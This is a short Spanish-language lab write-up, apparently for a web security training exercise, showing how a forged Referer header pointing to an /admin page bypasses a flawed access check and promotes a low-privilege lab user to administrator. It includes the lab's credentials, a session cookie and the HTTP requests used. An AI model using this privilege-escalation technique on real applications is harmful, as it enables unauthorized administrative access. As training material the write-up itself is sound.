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# Control de acceso basado en el encabezado Referer

### Control de acceso basado en Referer

Esta práctica aplica un control de acceso a las funciones de administración basado en el encabezado **Referer**. / Puedes explorar primero el panel de administración conectándote con **administrator:admin** credenciales.

Para resolver la práctica, debes iniciar sesión con el usuario **wiener:peter** y usar la validación incorrecta del Referer para obtener un rol de administrador.

#### **1. Contexto**

* Cookie de sesión para *wiener*

```bash
cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

* Al intentar cambiar roles sin encabezado adicional, la aplicación deniega el acceso:

```http
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0a19008c034b40de834b14e0009a0062.web-security-academy.net
Cookie: session=cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

<figure><img src="/files/1721bbc78184e99d0a90854fa495da8d47e53fbf" alt=""><figcaption></figcaption></figure>

La respuesta indica que el usuario no tiene los permisos necesarios.

#### **2. Omitir la comprobación de Referer**

Si se añade un encabezado **Referer** que apunte a una página de administración legítima, la aplicación acepta la operación

```bash
Referer: https://0a19008c034b40de834b14e0009a0062.web-security-academy.net/admin
```

Con este encabezado añadido, es posible ascender a wiener y se obtiene acceso de administrador.

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